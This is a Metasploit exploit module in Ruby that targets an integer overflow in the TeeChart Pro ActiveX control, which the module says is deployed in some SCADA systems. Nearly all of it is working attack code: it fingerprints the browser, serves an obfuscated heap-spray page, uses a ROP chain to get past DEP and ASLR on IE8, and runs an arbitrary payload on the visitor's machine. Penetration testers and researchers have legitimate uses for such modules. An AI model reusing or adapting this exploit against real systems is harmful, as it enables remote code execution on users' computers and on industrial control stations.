TeeChart Professional ActiveX Control <= 2010.0.0.3 Trusted Integer Dereference

[Gonzalez]

##
# $Id: teechart_pro.rb 13522 2011-08-11 11:17:30Z swtornio $
##

###
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::HttpServer::HTML

    def initialize(info = {})
        super( update_info(info,
            'Name'           => 'TeeChart Professional ActiveX Control <= 2010.0.0.3 Trusted Integer Dereference',
            'Description'    => %q{
                    This module exploits a integer overflow in TeeChart Pro ActiveX control. When
                sending an overly large/negative integer value to the AddSeries() property of
                TeeChart2010.ocx, the code will perform an arithemetic operation that wraps the
                value and is later directly trusted and called upon.

                This module has been designed to bypass DEP only under IE8. Multiple versions
                (including the latest version) are affected by this vulnerability that date back to
                as far as 2001.

                The following controls are vulnerable:

                TeeChart5.ocx Version 5.0.1.0 (clsid: B6C10489-FB89-11D4-93C9-006008A7EED4);
                TeeChart6.ocx Version 6.0.0.5 (clsid: 536600D3-70FE-4C50-92FB-640F6BFC49AD);
                TeeChart7.ocx Version 7.0.1.4 (clsid: FAB9B41C-87D6-474D-AB7E-F07D78F2422E);
                TeeChart8.ocx Version 8.0.0.8 (clsid: BDEB0088-66F9-4A55-ABD2-0BF8DEEC1196);
                TeeChart2010.ocx Version 2010.0.0.3 (clsid: FCB4B50A-E3F1-4174-BD18-54C3B3287258).

                The controls are deployed under several SCADA based systems including:

                Unitronics OPC server v1.3;
                BACnet Operator Workstation Version 1.0.76
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    # twitter.com/net__ninja
                    'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery/msf module
                 ],
            'Version'        => '$Revision: 13522 $',
            'References'     =>
                [
                    #[ 'CVE', '?' ],
                    [ 'OSVDB', '74446'],
                    [ 'URL', 'http://www.stratsec.net/Research/Advisories/TeeChart-Professional-Integer-Overflow'],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                    'InitialAutoRunScript' => 'migrate -f',
                },
            'Payload'        =>
                {
                    'Space'    => 1024,
                    'BadChars' => "\x00",
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Automatic', {} ],
                    # For exploitation we need to calculate a value for EDX:
                    # <target address> - EAX / 4 = address to place in edx via signed integar
                    # 0x0c0c0c0c - 0x023FB8F4 = 0x09CC5318 / 4 = 0x027314C6 = decimal: 41096390
                    [
                        'Windows XP SP0-SP3 (IE6/IE7)',
                        {
                            'Ret' => 0x027314C6
                        }
                    ],
                    # Windows XP target + IE8 + JAVA = ASLR/DEP Bypass
                    # 0x09442020- 0x0326B8F4 = 61D672C/4 = 18759CB
                    [
                        'Windows XP SP0-SP3 + JAVA + DEP bypass (IE8)',
                        {
                            'Ret' => 0x014E59CB,
                            # 0x09442020-0x2c+4 (compensate for CALL [EAX+2C] + 1st gadget) = 0x09441FF8
                            # get back to the 2nd of rop.
                            'Pivot' => 0x09441FF8
                        }
                    ],
                    # Windows 7 target + IE8 + JAVA = ASLR/DEP Bypass
                    # 0x16672020 - 0x040AB8F4/4 =  0x049719CB
                    [
                        'Windows 7 + JAVA + DEP bypass (IE8)',
                        {
                            'Ret' => 0x049719CB,
                            # 0x16672020-0x2c+4 (compensate for CALL [EAX+2C] + 1st gadget) = 0x16671FF8
                            # get back to the 2nd of rop.
                            'Pivot' => 0x16671FF8
                        }
                    ]
                ],
            'DisclosureDate' => 'Aug 11 2011',
            'DefaultTarget'  => 0))
    end

    def junk
        return rand_text_alpha(4).unpack("L")[0].to_i
    end

    def on_request_uri(cli, request)
        #Set target manually or automatically
        my_target = target
        if my_target.name == 'Automatic'
            agent = request.headers['User-Agent']
            if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
                my_target = targets[1]
            elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
                my_target = targets[1]
            elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
                my_target = targets[2]
            elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8\.0/
                my_target = targets[3]
            end
        end

        print_status("Target selected: #{my_target.name}") if datastore['VERBOSE']

        # Re-generate the payload.
        return if ((p = regenerate_payload(cli)) == nil)

        # align stack
        retn = Rex::Text.to_unescape([0x7C3410C4].pack('V*'))
        pop_pop_retn = Rex::Text.to_unescape([0x7C3410C2].pack('V*'))

        # shellcode
        sc = Rex::Text.to_unescape(p.encoded)

        # Randomize ALL the javascript variable names.
        rand1    = rand_text_alpha(rand(100) + 1)
        rand2    = rand_text_alpha(rand(100) + 1)
        rand3    = rand_text_alpha(rand(100) + 1)
        rand4    = rand_text_alpha(rand(100) + 1)
        rand5    = rand_text_alpha(rand(100) + 1)
        rand6    = rand_text_alpha(rand(100) + 1)
        rand7    = rand_text_alpha(rand(100) + 1)
        rand8    = rand_text_alpha(rand(100) + 1)
        rand9    = rand_text_alpha(rand(100) + 1)
        rand10   = rand_text_alpha(rand(100) + 1)
        j_applet = rand_text_alpha(rand(100) + 1)

        if my_target.name =~ /IE6/ or my_target.name =~ /IE7/
            js = <<-EOF
            var #{rand3} = unescape('#{sc}');

            var #{rand4} = unescape('%u0c0c%u0c0c');
            var #{rand5} = 20;
            var #{rand6} = #{rand5} + #{rand3}.length;
            while(#{rand4}.length < #{rand6}) {
                #{rand4} += #{rand4};
            }
            var #{rand7} = #{rand4}.substring(0, #{rand6});
            var #{rand8} = #{rand4}.substring(0, #{rand4}.length - #{rand6});
            while((#{rand8}.length + #{rand6}) < 0x50000) {
                #{rand8} = #{rand8} + #{rand8} + #{rand7};
            }
            #{rand10}=new Array();
            for(#{rand9}=0; #{rand9}<200; #{rand9}++){
                #{rand10}[#{rand9}] = #{rand8} + #{rand3};
            }

            function #{rand2}()
            {
                #{rand1}.AddSeries(#{target.ret});
            }
            EOF
        end

        #http://vreugdenhilresearch.nl/Pwn2Own-2010-Windows7-InternetExplorer8.pdf
        if my_target.name =~ /IE8/
            # thanks to corelanc0d3r & mona.py :^) for the universal aslr/dep bypass (msvcr71.dll)
            # https://www.corelan.be/index.php/2011/07/03/universal-depaslr-bypass-with-msvcr71-dll-and-mona-py/
            rop_gadgets = [
                my_target['Pivot'],# Pivot back EAX for ESP control
                0x7C342643,  # XCHG EAX,ESP; POP EDI; ; ADD BYTE PTR DS:[EAX],AL; POP ECX; RETN
                0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
                0x7c37a140,  # Make EAX readable
                0x7c37591f,  # PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll)
                0x41414141,  # EBP (filler)
                0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
                0x7c37a140,  # <- *&VirtualProtect()
                0x7c3530ea,  # MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll)
                0x7c346c0b,  # Slide, so next gadget would write to correct stack location
                0x7c376069,  # MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll)
                0x41414141,  # EDI (filler)
                0x41414141,  # will be patched at runtime (VP), then picked up into ESI
                0x41414141,  # EBX (filler)
                0x7c376402,  # POP EBP # RETN (msvcr71.dll)
                0x7c345c30,  # ptr to 'push esp #  ret ' (from MSVCR71.dll)
                0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
                0xfffffdff,  # size 0x00000201 -> ebx, modify if needed
                0x7c351e05,  # NEG EAX # RETN (MSVCR71.dll)
                0x7c354901,  # POP EBX # RETN (MSVCR71.dll)
                0xffffffff,  # pop value into ebx
                0x7c345255,  # INC EBX # FPATAN # RETN (MSVCR71.dll)
                0x7c352174,  # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll)
                0x7c34d201,  # POP ECX # RETN (MSVCR71.dll)
                0x7c38b001,  # RW pointer (lpOldProtect) (-> ecx)
                0x7c34b8d7,  # POP EDI # RETN (MSVCR71.dll)
                0x7c34b8d8,  # ROP NOP (-> edi)
                0x7c344f87,  # POP EDX # RETN (MSVCR71.dll)
                0xffffffc0,  # value to negate, target value : 0x00000040, target: edx
                0x7c351eb1,  # NEG EDX # RETN (MSVCR71.dll)
                0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
                0x90909090,  # NOPS (-> eax)
                0x7c378c81,  # PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll)
            ].pack('V*')

            rop = Rex::Text.to_unescape(rop_gadgets)

            custom_js = <<-EOF
            function #{rand3}(){
                #{rand5} = new heapLib.ie(0x20000);
                var #{rand6} = unescape('#{rop}');
                #{rand6} += unescape('#{sc}');
                while(#{rand6}.length <= 0xffc) #{rand6} += unescape('#{retn}')
                while(#{rand6}.length < 0x1000) #{rand6} += unescape('#{pop_pop_retn}')
                var #{rand7} = #{rand6};
                while(#{rand7}.length < 0x40000) #{rand7} += #{rand7};
                #{rand8} = #{rand7}.substring(2, 0x40000 - 0x21);
                for(var i = 0; i < 0x400; i++) {
                    #{rand5}.alloc(#{rand8});
                }
            }

            function #{rand2}(){
                #{rand3}();
                #{rand1}.AddSeries(#{my_target.ret});
            }
            EOF

            js = heaplib(custom_js)
        end

        content = <<-EOF
        <object classid='clsid:FCB4B50A-E3F1-4174-BD18-54C3B3287258' id='#{rand1}' ></object>
        <script language='JavaScript' defer>
        #{js}
        </script>
        <body onload="JavaScript: return #{rand2}();">
        <body>
        </html>
        EOF


        print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

        #Remove the extra tabs from content
        content = content.gsub(/^\t\t/, '')

        # Transmit the response to the client
        send_response_html(cli, content)

        # Handle the payload
        handler(cli)
    end
end